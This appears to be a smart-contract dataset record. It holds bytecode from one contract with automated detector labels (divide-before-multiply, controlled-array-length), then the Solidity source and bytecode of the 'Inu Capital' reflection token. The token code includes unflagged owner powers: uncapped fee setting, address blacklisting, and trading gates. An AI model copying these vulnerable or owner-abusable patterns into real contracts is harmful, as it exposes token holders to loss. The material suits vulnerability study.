ffffffffffffff1614151561147457600080fd5b61149a838361149584611487888861164b565b611c5190919063ffffffff16565b611c6f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256114f3868661164b565b6040518082815260200191505060405180910390a3505050565b6115203361151961124a565b830261201b565b6115463383611541846115333388610d3a565b611c5190919063ffffffff16565b61210e565b3373ffffffffffffffffffffffffffffffffffffffff167f03308b481e39667b6c62222ac2e3c5733a1f9b070c8d83e3821c6f7d3c39b48e826040518082815260200191505060405180910390a25050565b6000806000341115156115aa57600080fd5b3491506115b6826121d1565b90506115c1816121f4565b15156115cc57600080fd5b6115e182600c54611c5190919063ffffffff16565b600c819055506115f1338261221f565b3373ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a25050565b60008273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116b257508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806116ef57506116c0611ff2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156116fa57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117b957600080fd5b6117c4338383611c6f565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188957600080fd5b80600a8190555050565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118cf57600080fd5b6118d9848461164b565b9050808211156118f4576118ef84846000611c6f565b611912565b611911848461190c8585611bb490919063ffffffff16565b611c6f565b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561196b878761164b565b6040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a1d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3857600080fd5b611b428383610d3a565b9050611b4e8383612368565b611b6183611b5a61124a565b83026123c2565b8273ffffffffffffffffffffffffffffffffffffffff167fe498b5c7ed0ad32019b5e03e7918af9015f3cb85189e5239f1b34ca2612984cf826040518082815260200191505060405180910390a2505050565b6000828211151515611bc257fe5b818303905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c0957600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284019050838110151515611c6557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611cac57600080fd5b611ce282611cd4611cbd878761164b565b611cc6886110fe565b611bb490919063ffffffff16565b611c5190919063ffffffff16565b9050611ced84610ed0565b8111151515611cfb57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d86848261249e565b50505050565b611d9582610ed0565b8111151515611da357600080fd5b611dc782611dc283611db486610ed0565b611bb490919063ffffffff16565b611bcd565b611de9611de482611dd6610bae565b611bb490919063ffffffff16565b6124e6565b8173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000806000841415611eb65760009150611ed5565b8284029050828482811515611ec757fe5b04141515611ed157fe5b8091505b5092915050565b6000808284811515611eea57fe5b0490508091505092915050565b600960009054906101000a900460ff16151515611f1357600080fd5b611f1b610d30565b611f3582611f27610bae565b611c5190919063ffffffff16565b11151515611f4257600080fd5b611f64611f5f82611f51610bae565b611c5190919063ffffffff16565b6124e6565b611f8882611f8383611f7586610ed0565b611c5190919063ffffffff16565b611bcd565b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61202482610ed0565b811115151561203257600080fd5b612056826120518361204386610ed0565b611bb490919063ffffffff16565b611bcd565b8173ffffffffffffffffffffffffffffffffffffffff167f1b493189b2e791e4113100ddef781faa294a6ffc0142f19a7656d9ced4f71fa8826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082908060018154018082558091505090600182039060005260206000200160009091929091909150555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550505050565b60006121ed6121de610e40565b83611edc90919063ffffffff16565b9050919050565b6000806000808414159150612207611357565b84101590508180156122165750805b92505050919050565b600960009054906101000a900460ff1615151561223b57600080fd5b612243610d30565b61225d8261224f610bae565b611c5190919063ffffffff16565b1115151561226a57600080fd5b61228c61228782612279610bae565b611c5190919063ffffffff16565b6124e6565b6122b0826122ab8361229d86610ed0565b611c5190919063ffffffff16565b611bcd565b8173ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020819055505050565b6123e6826123e1836123d386610ed0565b611c5190919063ffffffff16565b611bcd565b8173ffffffffffffffffffffffffffffffffffffffff167f6ac2ffc8cffd5baf20155a64e8c4ba5d36377ec390e17557a566ace84740302e826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b80600681905550505600a165627a7a723058202edd7ee0eb0ade3e4cfe5430f6cd3c0bf66e27eafc4a745bd03375dab94a039f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
2,504
0xbb0312596d36b03a29907e84899f9d0a12d70bce
/** ,@@@@@@@@@@@@@@@ /@@@@@@@@@@%/, ,/%@@@@@@@@@@, [email protected]@@@@@, (@@@@@@ @@@@@, /@@@@@ @@@@% @@ @@@ @@@@@ #@@@& /@ &@@@ %@@@* @@ @@@@, @@@@ (@ @@@ @@@@ @@ ,@@@/ *@@@ @ #@@@ @@@ @@ ,@@@ @@@( @* @@@ @@@ @& @@@@ @@@ @ @ (@@ @@ &@ @@ @@@ @@@ @* %@@@@@@/ @@@@@@@ @@ @@& @@@ @@ /@@@ @@@@ @@# @@@ @@@ @@@@ #@@@@ @@@ *@@& * . @@@ @@@ @@ @@@ *@/@& @@,@, @@ @@@ @@ @@ @@@ @@@@. @@ @@@ @@@@@@ @@ [email protected]@@ , @@@@@@@& @@@ @@@ @@@ @@@@@ @ ,@@@ @@@ %@@@ @@@@@@@, @@@ @@@ @@@@ @@@@@@@@ @@@ @@@ @@@@ @@@@@@@@@ @@@@@@@@ *@@@ @@@@ @@@ /@@@@@@@& @@@@@@@@ @@@@ @@@/ #@ (@@@@@/ %@@@@@@@ &@@@ [email protected]@@# @@@@@@@@( @@@@ @@@@ @@@@@@@@ @ @@@@ %@@@@ @@@@% &@@@# %@@@@@ &@ @@@@@* @@@@@@@ *@@@@@@% (@@@@@@@@@@@@&&&&@@@@@@@@@@@@@/ telegram t.me/InuCapital website https://www.inucapital.com/ twitter https://twitter.com/Inu_Capital 10% Buy Tax: - 5% for Token Reflections - 5% for Liquidity 20% Sales Tax: - 7% for Liquidity - 6% for Farming/Treasury - 6% for ETH Reflections - 1% for Dev Fee */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract InuCapital is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Inu Capital"; string private constant _symbol = "Capital"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 5; uint256 private _taxFeeOnBuy = 5; //Sell Fee uint256 private _redisFeeOnSell = 6; uint256 private _taxFeeOnSell = 14; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x17a4E229148D69FAB72150276A1c16E1525b6Eb5); address payable private _marketingAddress = payable(0xa20549a8d44319abCcBE8f2A1a69fe51CEfaA001); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 40000000 * 10**9; //0,4% uint256 public _maxWalletSize = 100000000 * 10**9; //1% uint256 public _swapTokensAtAmount = 10000000 * 10**9; //0.01% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101e2576000357c010000000000000000000000000000000000000000000000000000000090048063715018a61161011457806398a5c315116100b2578063bfd7928411610081578063bfd7928414610643578063c3c8cd8014610680578063dd62ed3e14610697578063ea1644d5146106d4576101e9565b806398a5c31514610577578063a2a957bb146105a0578063a9059cbb146105c9578063bdd795ef14610606576101e9565b80638da5cb5b116100ee5780638da5cb5b146104cd5780638f70ccf7146104f85780638f9a55c01461052157806395d89b411461054c576101e9565b8063715018a61461046257806374010ece146104795780637d1db4a5146104a2576101e9565b80632fd689e3116101815780636b9990531161015b5780636b999053146103bc5780636d8aa8f8146103e55780636fc3eaec1461040e57806370a0823114610425576101e9565b80632fd689e31461033b578063313ce5671461036657806349bd5a5e14610391576101e9565b80631694505e116101bd5780631694505e1461027f57806318160ddd146102aa57806323b872dd146102d55780632f9c456914610312576101e9565b8062b8cf2a146101ee57806306fdde0314610217578063095ea7b314610242576101e9565b366101e957005b600080fd5b3480156101fa57600080fd5b5061021560048036038101906102109190612d68565b6106fd565b005b34801561022357600080fd5b5061022c61084d565b60405161023991906131b1565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612d2c565b61088a565b604051610276919061317b565b60405180910390f35b34801561028b57600080fd5b506102946108a8565b6040516102a19190613196565b60405180910390f35b3480156102b657600080fd5b506102bf6108ce565b6040516102cc9190613393565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612ca1565b6108de565b604051610309919061317b565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612cf0565b6109b7565b005b34801561034757600080fd5b50610350610b3a565b60405161035d9190613393565b60405180910390f35b34801561037257600080fd5b5061037b610b40565b6040516103889190613408565b60405180910390f35b34801561039d57600080fd5b506103a6610b49565b6040516103b39190613160565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190612c13565b610b6f565b005b3480156103f157600080fd5b5061040c60048036038101906104079190612da9565b610c5f565b005b34801561041a57600080fd5b50610423610d10565b005b34801561043157600080fd5b5061044c60048036038101906104479190612c13565b610df8565b6040516104599190613393565b60405180910390f35b34801561046e57600080fd5b50610477610e49565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612dd2565b610f9c565b005b3480156104ae57600080fd5b506104b761103b565b6040516104c49190613393565b60405180910390f35b3480156104d957600080fd5b506104e2611041565b6040516104ef9190613160565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612da9565b61106a565b005b34801561052d57600080fd5b5061053661111c565b6040516105439190613393565b60405180910390f35b34801561055857600080fd5b50610561611122565b60405161056e91906131b1565b60405180910390f35b34801561058357600080fd5b5061059e60048036038101906105999190612dd2565b61115f565b005b3480156105ac57600080fd5b506105c760048036038101906105c29190612dfb565b6111fe565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612d2c565b6112b5565b6040516105fd919061317b565b60405180910390f35b34801561061257600080fd5b5061062d60048036038101906106289190612c13565b6112d3565b60405161063a919061317b565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612c13565b6112f3565b604051610677919061317b565b60405180910390f35b34801561068c57600080fd5b50610695611313565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612c65565b6113ec565b6040516106cb9190613393565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612dd2565b611473565b005b610705611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610789906132f3565b60405180910390fd5b60005b8151811015610849576001601060008484815181106107dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610841906136cd565b915050610795565b5050565b60606040518060400160405280600b81526020017f496e75204361706974616c000000000000000000000000000000000000000000815250905090565b600061089e610897611512565b848461151a565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108eb8484846116e5565b6109ac846108f7611512565b6109a785604051806060016040528060288152602001613bb460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061095d611512565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f039092919063ffffffff16565b61151a565b600190509392505050565b6109bf611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906132f3565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad6906132b3565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b77611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfb906132f3565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c67611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb906132f3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d51611512565b73ffffffffffffffffffffffffffffffffffffffff161480610dc75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610daf611512565b73ffffffffffffffffffffffffffffffffffffffff16145b610dd057600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16319050610df581611f67565b50565b6000610e42600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612062565b9050919050565b610e51611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed5906132f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fa4611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611028906132f3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611072611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f6906132f3565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600781526020017f4361706974616c00000000000000000000000000000000